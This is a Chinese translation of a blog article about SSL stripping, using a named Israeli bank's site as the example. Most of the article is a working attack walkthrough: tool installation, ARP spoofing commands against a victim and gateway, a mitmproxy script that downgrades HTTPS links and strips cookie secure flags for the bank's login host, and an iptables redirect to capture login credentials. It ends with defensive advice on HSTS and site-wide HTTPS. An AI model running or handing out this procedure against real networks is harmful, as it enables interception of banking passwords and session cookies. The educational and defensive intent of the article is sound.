关注网络安全
和行业未来

谷歌Web技术开发专家:我们为什么需要HTTPS——一次有关银行、安全和中间人攻击的冒险之旅

本文由谷歌Web技术开发专家Uri Shaked发布在Medium.com

几周前,我坐在女友身边看她上网。当她试图登录银行账户时,我注意到这个银行的首页在地址栏上居然没有显示“挂锁”标记!重复刷新多次后才确认自己并没有看错。

尽管这只是个银行主页,也没有直接涉及到安全连接的服务,但其指示用户点击的服务却是实实在在需要基于安全连接的。在我来看,此处有大文章可作。

Let me show you why.待我细细道来......

HTTP 迁移至 HTTPS的附带问题 

我们拿某银行官网http://www.leumi.co.il举例。

一般人进入银行网站都是通过搜索引擎、书签或者直接在浏览器里输URL。无论你是怎么进去的,你都会被带到这个网页http://www.leumi.co.il——注意,此处是HTTP,而非HTTPS。

你可能会想:那如果这个主页是通过不安全链接传输的呢?只要实际的登陆页面是通过HTTPS的,我的数据就是安全的吧?

嗯,技术上来说是这样没错,除非碰到别有用心之人。

有一个非常著名的中间人攻击叫做,SSL stripping。(此处不是拉皮条的,是指剥离的意思:b)在特定的条件下,攻击者可以让HTTP取代HTTPS,从而卸下你的防御。

那中间人攻击到底是怎么窃取你的数据的呢?

以下,我将为你抽丝剥茧,情景再现中间人攻击是如何运作的。

在本次情景再现中,我们假设攻击者和被攻击用户正使用同一个WIFI/LAN 网络。这是在nutshell里的攻击场景:

  1. 攻击者发起“中间人攻击”。
  2. 用户前往银行首页,获取了由攻击者修改过的首页(此时,所有HTTPS链接已被换成了对应的HTTP链接)。
  3. 用户按下登录链接,进入了HTTP协议下的登录界面。攻击者充当代理,并通过HTTPS将所有请求委派给实际的银行服务器。通过使用一些JavaScript代码,攻击者便可以修改页面并记录和破解密码。(此处会有一个非常不错的保护机制需要我们击败,我会在后文中做出解释)
  4. 用户输入登录凭据并提交数据。内容通过HTTP发送至攻击者的设备,然后再提交到银行服务器。

那用户呢?他们看得到什么?

除了网络稍微有那么一丢丢延迟,用户啥都不会察觉

用户会看到一样的登录页面内容,除了没上锁的地址栏。不幸的是,在这个(转移HTTP到HTTPS)场景中,就算存在“挂锁”也不代表绝对安全:攻击者甚至可以仿造一个安全页面的假象,而且这根本不是什么难事。

由于验证页面的域名(hb2.bankleumi.co.il)和银行主页不一致(leumi.co.il),攻击者可以注册一个“长得差不多”的域名(比方说hb2bankleumi.co.il 或hb2.bankluemi.co.il),然后给他按一个有效的SSL证书。这样一来,易容之术就完成了。

如果攻击者用心高明到如此程度,除非用户有意深究SSL证书的签名,一般来说可以达到神不知鬼不觉。

如何利用漏洞

通常,利用这一漏洞需要一些只在Linux上用的了的工具,这里我用的是“树莓派”。我们需要使用以太网线把树莓派连接到网络上或者使用外部的无线适配器(由于某些原因,我们即将要用到的某个工具和树莓派3的内置wifi芯片不匹配)。当然,也不是非要准备一台树莓派。只要是基于最近版本的Debian或Ubuntu Linux,且该设备和攻击对象的PC处在同一个网络即可。

为了执行攻击,我们会优先使用以下两种工具:

  1. arpspoof— 我们会用通过设备来转移攻击对象的流量,这个技术叫作ARP Spoofing。
  2. mitmproxy 这个工具 用来监听攻击对象的HTTP请求,以及通过我们的预先设置修改用户请求。(SSL Stripping)

Step 0 — 安装工具

首先安装arpspoofarpspoofdsniff包中的一个小工具,因此我们直接安装dsniff

sudo apt-get install dsniff

然后,我们需要安装mitmproxy,前提需要Python3.5环境。

截至本文发布,树莓派不自带Python3.5,因此你需要先参考这个指南,从源代码编译它。整个安装过程大约15-20分钟,基于你的SD卡的传输速度和网速。

在给树莓派安装mitmproxy的时候,我们需要搭建一个独立的Python环境并安装一些依赖项。搭建环境的时候,我们会用到virtualenv,安装方法如下:

sudo pip3 install virtualenv

然后我们安装依赖项:

sudo apt-get install libffi-dev libssl-dev libxml2-dev
sudo apt-get install libxslt1-dev libjpeg62-turbo-dev zlib1g-dev g++

最后,安装mitmproxy

cd
virtualenv -p /usr/local/bin/python3.5 proxy
cd proxy
. bin/activate
pip install mitmproxy

这里我使用的是mitmproxy 0.18.2

Step 1 — 转移攻击对象流量

在转移流量之前,我们要确保正确掌控攻击对象的流量,并且将它发送到路由器网关。否则攻击对象会连不上网,从而也就无法截获数据。

为了做到这一点,我们需要部署IP转发:

sudo sysctl -w net.ipv4.ip_forward=1

搞定!现在可以转移流量了!

你需要打开两个不同的终端窗口,在第一个窗口里运行这条指令:

sudo arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP

第二个窗口里运行这条:

sudo arpspoof -i eth0 -t 攻击对象的IP 网关IP

此处eth0可能被替换为wlan0或wlan1,视情况而定。

使用 ifconfig -a可获取网络接口信息。

以上命令用到的ARP包勾引用户流量转向攻击者的设备,基本上把攻击对象的机器和网关都给坑了。

既然流量已转移完毕,我们可以开始截获数据了。

Step 2 — 实行SSL剥离

现在,我们给mitmproxy一段脚本来实行SSL剥离:

def request(flow):
host = flow.request.headers['Host']
if host == 'hb2.bankleumi.co.il':
flow.request.scheme = 'https'
flow.request.port = 443

def response(flow):
newcontent=flow.response.content.replace(b'https://', b'http://')
flow.response.content = newcontent
if "set-cookie" in flow.response.headers:
flow.response.headers.replace(b';secure', b'')

response()函数中的前两行代码用来侦听所有的HTTP响应,并将所有出现的HTTPS替换成HTTP。后两行用来去除服务器发送的任何cookies的安全标记。这个标记本来是用来确保浏览器只会通过HTTPS发送回这些cookies的,而如今我们坐在“中间”,即我们可以将它剥离并保证浏览器会把所有的session cookies通过HTTP发送给服务器。

最后,request()函数侦听所有的用户请求(HTTP),然后通过HTTPS代理到实际的银行服务器。也就是说,目标服务器不是必须要支持HTTP:request()函数会把HTTP请求包装成HTTPS,再发送给目标服务器。

我们把这段脚本保存为sslstrip.py,然后使用以下命令运行mitmproxy:

cd ~/proxy
. bin/activate
mitmproxy -T --host --anticache --insecure -s sslstrip.py

Step 3 — 通过mitmproxy重定向流量并执行攻击

mitmproxy 监听的TCP端口是8080,但我们想要监听的HTTP链接端口在80,所以我们需要想办法把流量从80端口重定向至8080。为了做到这一点,我们需要使用 iptables, 一款控制Linux内核防火墙的小工具。

启动mitmproxy后,我们执行如下指令进行重定向:

sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

(注意:以上指令请在一行内打完)不要忘了给eth0换一个和目标网络相关的名字。

以上指令运行后,你应该能在mitmproxy里看到所有的目标对象的HTTP流量:

现在,如果用户试图在银行主页点击“登录”键,跳转入登录页并填写相关信息提交,你可以监听到整个过程并获取用户名及密码。

看!HTTPS已经消失了!

这个POST请求正是登录页提交的

被红色覆盖的区域即是用户敏感信息。

在现实场景中,攻击者可能会把脚本写得更复杂。他们不会盲目地把所有HTTPS开头的网页换成HTTP,而是针对某些“有趣”的页面进行乔装,比方说,某个“相关链接”。

那么现在该怎么办?当然是保护好自己的信息和网站啦!

既然你已经阅读了实施攻击的全过程,以下的一些办法或许能帮助你保护“膝盖”:

  1. 避免在公共或未知网络中登录那些敏感网站。这包括:机场、酒店、公共咖啡馆以及任何不用密码就能使用的网络,甚至是你的工作网!
  2. 当你登录银行账号或是其他敏感网站时,请注意留意地址栏左侧的挂锁,以及域名是不是长得很奇怪。要知道,攻击者可以买个看起来相似的域名再加个SSL证书来伪装自己——安全的通信不会自动和“域名正确”划等号。

作为一个网站老大,最能保证用户数据安全的做法就是确保你的所有网页都使用SSL,包括一个小小的促销页面。大量的用户会通过搜索引擎或社交链接来到你的网站,而对促销页面使用HTTPS可以保证他们的通信安全——也因此避免了SSL剥离对站点发动攻击的可能。

与此同时,你也应当开启 HTTP Strict Transport Security (HTST),以使浏览器始终链接HTTPS,即便相关链接用的时HTTP也要强行HTTPS。

以上方法可以有效防御上述攻击,所有通信都将保证安全。

稿源:medium.com

评论 抢沙发